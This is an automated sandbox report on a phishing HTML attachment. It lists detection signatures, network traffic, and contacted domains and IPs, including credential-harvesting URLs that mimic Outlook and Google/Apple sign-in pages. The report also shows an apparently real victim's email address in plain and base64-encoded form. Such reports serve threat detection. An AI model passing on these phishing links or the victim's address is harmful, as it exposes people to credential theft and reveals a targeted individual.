Edit tour

Windows Analysis Report
ATT71725.html

Overview

General Information

Sample name:	ATT71725.html
Analysis ID:	1520509
MD5:	7e68ec86c3149cc15ad4bb27a8c1c551
SHA1:	56da0b4de566170aa64984c58d9c77771a0f28ed
SHA256:	7a15e2c42bbc1fe3d83e75bc53cef61110b0a0a40ed65cc124304d7776ea4f21
Infos:

Detection

HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

HTML file submission requesting Cloudflare captcha challenge

Yara detected HtmlPhish44

Phishing site detected (based on favicon image match)

HTML page contains hidden javascript code

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 6292 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\ATT71725.html MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6892 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1920,i,13034185478199056267,16513103023316604056,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_75	JoeSecurity_HtmlPhish_44	Yara detected HtmlPhish_44	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: file:///C:/Users/user/Desktop/ATT71725.html	LLM: Score: 10 Reasons: HTML file with login form DOM: 0.0.pages.csv
Source: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com	LLM: Score: 7 Reasons: The brand is unknown and cannot be determined from the URL., The URL 'bi6.biguncu.ru' does not match any well-known or known brand domains., The domain 'biguncu.ru' is unusual and not associated with any known brands., The presence of multiple sign-in options (Google, Apple) on an unknown domain is suspicious., The use of a Russian domain extension (.ru) for a site that offers sign-in with Google and Apple is unusual and raises suspicion. DOM: 3.5.pages.csv

Yara detected HtmlPhish44

Source: Yara match

File source: dropped/chromecache_75, type: DROPPED

Phishing site detected (based on favicon image match)

Source: https://fzxwdafuws.ministeriojesus.org/n6drat55y/iu89908445/?pln=by50eW1jaGVua29AZ21zLXdvcmxkd2lkZS5jb20=	Matcher: Template: outlook matched with high similarity
Source: https://ministeriojesus.org	Matcher: Template: outlook matched with high similarity

Source: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com

HTTP Parser: Base64 decoded: {"version":3,"sources":["/cfsetup_build/src/orchestrator/turnstile/templates/turnstile.scss","%3Cinput%20css%20qtFLbZ%3E"],"names":[],"mappings":"AAmCA,gBACI,GACI,uBClCN,CACF,CDqCA,kBACI,GACI,mBCnCN,CACF,CDsCA,iBACI,MAEI,cCrCN,CDwCE,IACI,mBCtCN,CACF,CDyCA...

Source: ATT71725.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/ATT71725.html	HTTP Parser: No favicon
Source: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com	HTTP Parser: No favicon
Source: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com	HTTP Parser: No favicon

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49779 version: TLS 1.2

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 35MB

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 184.28.90.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10

Source: global traffic	DNS traffic detected: DNS query: mcusercontent.com
Source: global traffic	DNS traffic detected: DNS query: cdn-images.mailchimp.com
Source: global traffic	DNS traffic detected: DNS query: iontuition.us20.list-manage.com
Source: global traffic	DNS traffic detected: DNS query: rbww2.whtproff.biz
Source: global traffic	DNS traffic detected: DNS query: fzxwdafuws.ministeriojesus.org
Source: global traffic	DNS traffic detected: DNS query: res.public.onecdn.static.microsoft
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: outlook.office.com
Source: global traffic	DNS traffic detected: DNS query: bi6.biguncu.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: sigjuh8xwvtnevolkjfoaa6k3kajts0hzb3a1qnpkns5inqxwscykok.tropeyleg.ru
Source: global traffic	DNS traffic detected: DNS query: bestbuy.com
Source: global traffic	DNS traffic detected: DNS query: www.bestbuy.com

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.16:49779 version: TLS 1.2

Source: classification engine

Classification label: mal68.phis.evad.winHTML@24/26@62/285

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\ATT71725.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1920,i,13034185478199056267,16513103023316604056,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1920,i,13034185478199056267,16513103023316604056,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: Window Recorder

Window detected: More than 3 window changes detected

Data Obfuscation

HTML file submission requesting Cloudflare captcha challenge

Source: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com

HTTP Parser: https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Extra Window Memory Injection	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bestbuy.com	173.223.116.167	true	false	unknown
a.nel.cloudflare.com	35.190.80.1	true	false	unknown
mcusercontent.com	34.96.122.219	true	false	unknown
HHN-efz.ms-acdc.office.com	40.99.149.210	true	false	unknown
rbww2.whtproff.biz	188.114.97.3	true	false	unknown
sigjuh8xwvtnevolkjfoaa6k3kajts0hzb3a1qnpkns5inqxwscykok.tropeyleg.ru	188.114.97.3	true	false	unknown
bi6.biguncu.ru	104.21.26.253	true	true	unknown
fzxwdafuws.ministeriojesus.org	135.181.18.187	true	false	unknown
code.jquery.com	151.101.130.137	true	false	unknown
cdnjs.cloudflare.com	104.17.24.14	true	false	unknown
challenges.cloudflare.com	104.18.94.41	true	false	unknown
dbhkt46el5ri0.cloudfront.net	18.172.112.77	true	false	unknown
www.google.com	142.250.185.132	true	false	unknown
FRA-efz.ms-acdc.office.com	52.98.252.66	true	false	unknown
sni1gl.wpc.sigmacdn.net	152.199.21.175	true	false	unknown
iontuition.us20.list-manage.com	unknown	unknown	true	unknown
outlook.office.com	unknown	unknown	true	unknown
cdn-images.mailchimp.com	unknown	unknown	true	unknown
res.public.onecdn.static.microsoft	unknown	unknown	true	unknown
www.bestbuy.com	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://fzxwdafuws.ministeriojesus.org/n6drat55y/iu89908445/?pln=by50eW1jaGVua29AZ21zLXdvcmxkd2lkZS5jb20=	true	unknown
https://bi6.biguncu.ru/onistf/#Go.tymchenko@gms-worldwide.com	true	unknown
file:///C:/Users/user/Desktop/ATT71725.html	true	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.18.94.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
52.98.252.66	FRA-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.185.227	unknown	United States	15169	GOOGLEUS	false
18.172.112.77	dbhkt46el5ri0.cloudfront.net	United States	3	MIT-GATEWAYSUS	false
151.101.130.137	code.jquery.com	United States	54113	FASTLYUS	false
216.58.206.35	unknown	United States	15169	GOOGLEUS	false
151.101.194.137	unknown	United States	54113	FASTLYUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
135.181.18.187	fzxwdafuws.ministeriojesus.org	Germany	24940	HETZNER-ASDE	false
66.102.1.84	unknown	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.102.57.226	unknown	United States	16625	AKAMAI-ASUS	false
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
40.99.149.210	HHN-efz.ms-acdc.office.com	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.18.95.41	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.185.238	unknown	United States	15169	GOOGLEUS	false
151.101.2.137	unknown	United States	54113	FASTLYUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	rbww2.whtproff.biz	European Union	13335	CLOUDFLARENETUS	false
188.114.96.3	unknown	European Union	13335	CLOUDFLARENETUS	false
172.67.139.194	unknown	United States	13335	CLOUDFLARENETUS	false
34.96.122.219	mcusercontent.com	United States	15169	GOOGLEUS	false
152.199.21.175	sni1gl.wpc.sigmacdn.net	United States	15133	EDGECASTUS	false
173.223.116.167	bestbuy.com	United States	16625	AKAMAI-ASUS	false
104.21.26.253	bi6.biguncu.ru	United States	13335	CLOUDFLARENETUS	true
2.23.196.168	unknown	European Union	1273	CWVodafoneGroupPLCEU	false
104.17.25.14	unknown	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520509
Start date and time:	2024-09-27 12:47:30 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Sample name:	ATT71725.html
Detection:	MAL
Classification:	mal68.phis.evad.winHTML@24/26@62/285
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 142.250.185.238, 66.102.1.84, 104.102.57.226, 34.104.35.123, 199.232.214.172
Excluded domains from analysis (whitelisted): res-ocdi-public.trafficmanager.net, cdn-office.azureedge.net, clients2.google.com, accounts.google.com, edgedl.me.gvt1.com, e13829.x.akamaiedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, swc.list-manage.com.edgekey.net, clients.l.google.com, cdn-office.ec.azureedge.net
Not all processes where analyzed, report is missing behavior information
VT rate limit hit for: ATT71725.html

LLM Input / Output

Input	Output
URL: https://fzxwdafuws.ministeriojesus.org/n6drat55y/iu89908445/?pln=by50eW1jaGVua29AZ21zLXdvcmxkd2lkZS5jb20= Model: jbxai	{ "brand":["X"], "contains_trigger_text":false, "trigger_text":"", "prominent_button_name":"Sign in with Google", "text_input_field_labels":["Sign in with Google", "Sign in with Apple", "Phone", "email", "username"], "pdf_icon_visible":false, "has_visible_captcha":false, "has_urgent_text":false, "has_visible_qrcode":false}

